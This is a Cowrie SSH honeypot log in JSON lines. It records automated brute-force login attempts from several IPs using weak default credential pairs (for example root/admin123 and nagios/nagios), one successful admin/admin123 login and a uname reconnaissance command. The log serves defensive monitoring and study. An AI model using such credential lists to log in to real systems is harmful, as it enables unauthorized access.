{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":53914,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cec9b175e47","protocol":"ssh","message":"New connection: 152.32.171.213:53914 (159.203.135.109:22) [session: 8cec9b175e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:54.063837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:54.067571Z","src_ip":"152.32.171.213","session":"8cec9b175e47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:54.283389Z","src_ip":"152.32.171.213","session":"8cec9b175e47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35224,"dst_ip":"10.17.0.5","dst_port":22,"session":"89654b4fb982","protocol":"ssh","message":"New connection: 192.109.200.78:35224 (10.17.0.5:22) [session: 89654b4fb982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:54.633921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:54.638185Z","src_ip":"192.109.200.78","session":"89654b4fb982","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:54.719514Z","src_ip":"192.109.200.78","session":"89654b4fb982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:54.963458Z","src_ip":"192.109.200.78","session":"89654b4fb982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssW0rd","message":"login attempt [root/P@ssW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:55.183975Z","src_ip":"152.32.171.213","session":"8cec9b175e47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:56.061512Z","src_ip":"192.109.200.78","session":"89654b4fb982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:56.401845Z","src_ip":"152.32.171.213","session":"8cec9b175e47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35238,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fd01cdbb8da","protocol":"ssh","message":"New connection: 192.109.200.78:35238 (10.17.0.5:22) [session: 7fd01cdbb8da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:58.020097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:58.025648Z","src_ip":"192.109.200.78","session":"7fd01cdbb8da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:58.115927Z","src_ip":"192.109.200.78","session":"7fd01cdbb8da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111.","message":"login attempt [root/Aa111111.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:58.569574Z","src_ip":"192.109.200.78","session":"7fd01cdbb8da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:59.652924Z","src_ip":"192.109.200.78","session":"7fd01cdbb8da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35246,"dst_ip":"10.17.0.5","dst_port":22,"session":"6951b5aa59e6","protocol":"ssh","message":"New connection: 192.109.200.78:35246 (10.17.0.5:22) [session: 6951b5aa59e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:01.707573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:01.712788Z","src_ip":"192.109.200.78","session":"6951b5aa59e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:01.796403Z","src_ip":"192.109.200.78","session":"6951b5aa59e6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:02.041742Z","src_ip":"192.109.200.78","session":"6951b5aa59e6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:02.246128Z","src_ip":"192.109.200.78","session":"6951b5aa59e6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:02.248717Z","src_ip":"192.109.200.78","session":"6951b5aa59e6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:02.333603Z","src_ip":"192.109.200.78","session":"6951b5aa59e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:02.337933Z","src_ip":"192.109.200.78","session":"6951b5aa59e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":53082,"dst_ip":"10.17.0.5","dst_port":22,"session":"db12e264118c","protocol":"ssh","message":"New connection: 27.71.230.31:53082 (10.17.0.5:22) [session: db12e264118c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:03.873864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:03.891256Z","src_ip":"27.71.230.31","session":"db12e264118c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:04.198335Z","src_ip":"27.71.230.31","session":"db12e264118c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48268,"dst_ip":"10.17.0.5","dst_port":22,"session":"efcd664b30f9","protocol":"ssh","message":"New connection: 192.109.200.78:48268 (10.17.0.5:22) [session: efcd664b30f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:05.042125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:05.046060Z","src_ip":"192.109.200.78","session":"efcd664b30f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:05.130729Z","src_ip":"192.109.200.78","session":"efcd664b30f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:05.378450Z","src_ip":"192.109.200.78","session":"efcd664b30f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:06.462228Z","src_ip":"192.109.200.78","session":"efcd664b30f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:07.065513Z","src_ip":"27.71.230.31","session":"db12e264118c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:08.350613Z","src_ip":"27.71.230.31","session":"db12e264118c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48280,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f5a044ebfe3","protocol":"ssh","message":"New connection: 192.109.200.78:48280 (10.17.0.5:22) [session: 5f5a044ebfe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:08.518766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:08.639084Z","src_ip":"192.109.200.78","session":"5f5a044ebfe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:08.643082Z","src_ip":"192.109.200.78","session":"5f5a044ebfe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:08.983319Z","src_ip":"192.109.200.78","session":"5f5a044ebfe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:10.067668Z","src_ip":"192.109.200.78","session":"5f5a044ebfe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.103.2","src_port":42576,"dst_ip":"10.17.0.5","dst_port":22,"session":"93d07b70494c","protocol":"ssh","message":"New connection: 172.93.103.2:42576 (10.17.0.5:22) [session: 93d07b70494c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.901469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.905679Z","src_ip":"172.93.103.2","session":"93d07b70494c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.912558Z","src_ip":"172.93.103.2","session":"93d07b70494c","protocol":"ssh"}
